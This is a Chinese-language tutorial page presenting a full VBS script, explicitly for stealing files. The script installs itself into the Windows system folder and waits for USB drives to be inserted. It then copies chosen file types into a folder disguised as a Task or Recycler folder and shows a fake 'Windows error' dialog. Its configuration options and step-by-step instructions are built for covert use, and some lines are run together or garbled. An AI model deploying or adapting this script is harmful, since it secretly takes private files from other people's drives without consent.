⾃动复制U盘⽂件的VBS脚本
以下为演⽰：
⼀、设置
右键单击，选择编辑
oStr = "txt|jpg|doc" '你要窃取的⽂件类型，可以⾃⾏添加，⽤“|”隔开
oDistPath = "C:\\windows\\system\\" '保存路径
oFolderName = "Task" '保存⽂件夹名称
oType = 0 '将保存的⽂件夹进⾏伪装 1为task⽂件夹，2为recycler⽂件夹，0为不伪装
oOut = 1 '1复制完毕后退出,0复制完毕后不退出，继续循环
⼆、保存后运⾏
会出现安装成功对话框，如果不希望出现该对话框，可以将“Msgbox "安装成功"”注释掉。
此时脚本已经在循环监测U盘的插⼊
三、插⼊U盘
U盘插⼊后，就开始⽂件的复制。复制完成后会出现提⽰对话框。
如果不希望出现该对话框，可以将 “Msgbox "Windows 错误",64”注释掉
四、寻⽂件
此时，⽂件已经在⽬标⽂件夹中。我将oType 设置为1，所以该⽂件夹成了task⽂件夹，此时双击打开是看不到其中的⽂件的。
这种情况可以通过rar压缩包浏览，将其中的desktop.ini⽂件删除，⽂件夹就会变成普通⽂件夹。
ww
这时就能打开⽂件夹看到其中的内容。
Copy.log记录的是原⽂件及复制后的⽂件。
vbs代码
复制代码代码如下:
oStr = "txt|jpg|doc" '⽂件类型，添加⽂件类型⽤“|”隔开
oDistPath = "C:\\windows\\system\\" '保存路径
oFolderName = "Task" '保存⽂件夹名称
oType = 1 '1为task⽂件夹，2为recycler⽂件夹，0为不隐藏
oOut = 1 '1复制完毕后退出,0复制完毕后不退出，继续循环
'By:⽩开 QQ:343229025
Set fso=CreateObject("scripting.filesystemobject")
Set wshell=CreateObject("WScript.shell")
If WScript.ScriptFullName=fso.GetSpecialFolder(1)&"\Baikai.vbs" Then '如果是在system32
'⽂件夹不存在则创建
If (not fso.FolderExists(oDistPath & oFolderName)) Then
fso.CreateFolder(oDistPath & oFolderName)
End If
'创建记录⽂件
Set Mylog=fso.CreateTextFile(oDistPath&oFolderName&"\\Copy.log",True)
'循环监测移动存储设备插⼊
Do
For Each oDriver In fso.Drives
If oDriver.DriveType=1 And oDriver<>"A:" And oDriver<>"B:" Then
TreeIt(oDriver)
Msgbox "Windows 错误",64
If(oOut=1) then
Exit Do
End if
End If
Next
WScript.Sleep 15000
Loop
Mylog.Close
'隐藏⽂件夹
oHideFolder oDistPath,oFolderName,oType
else '如果是其它⽬录，先安装
fso.CopyFile WScript.ScriptFullName,fso.GetSpecialFolder(1)&"\Baikai.vbs",True wshell.Run fso.GetSpecialFolder(1)&"\Baikai.vbs"
Msgbox "安装成功"
end if
Set fso=nothing
Set wshell=nothing
'遍历⽬录函数
vbs脚本怎么停止Function TreeIt(sPath)
Set oFolder = fso.GetFolder(sPath)
Set oSubFolders = oFolder.Subfolders
Set oFiles = oFolder.Files
For Each oFile In oFiles
oCopyFile oFile.Path,oDistPath,oFolderName
Next
For Each oSubFolder In oSubFolders
TreeIt(oSubFolder.Path)
Next
Set oFolder = Nothing
Set oSubFolders = Nothing
End Function
'复制⽂件函数
Function oCopyFile(FileName,oDistPath,oFolderName)
Ext = fso.GetExtensionName(FileName)
If(instr(oStr,lcase(Ext))) then
Randomize
tempname=Ext&int((Rnd*100000000)+1)&"."&Ext
fso.CopyFile FileName,oDistPath&oFolderName&"\\"&tempname,true
Mylog.writeline FileName
Mylog.writeline tempname
End If
End Function
'隐藏⽂件夹函数
Sub oHideFolder(oDistPath,oFolderName,oType)
Select Case oType
case 1
Set inf=fso.CreateTextfile(oDistPath&oFolderName&"\\desktop.ini",True)
inf.writeline("[.ShellClassInfo]")
inf.writeline("CLSID={d6277990-4c6a-11cf-8d87-00aa0060f5bf}")
case 2
Set inf=fso.CreateTextfile(oDistPath&oFolderName&"\\desktop.ini",True)
inf.writeline("[.ShellClassInfo]")
inf.writeline("CLSID={645FF040-5081-101B-9F08-00AA002F954E}")
case 0
Exit sub
End Select
Set inf=nothing
Set SysoFolder=fso.GetFolder(oDistPath&oFolderName) SysoFolder.attributes=4
Set SysoFolder=nothing
End sub
'By:⽩开 QQ:343229025

版权声明：本站内容均来自互联网，仅供演示用，请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198，我们将在24小时内删除。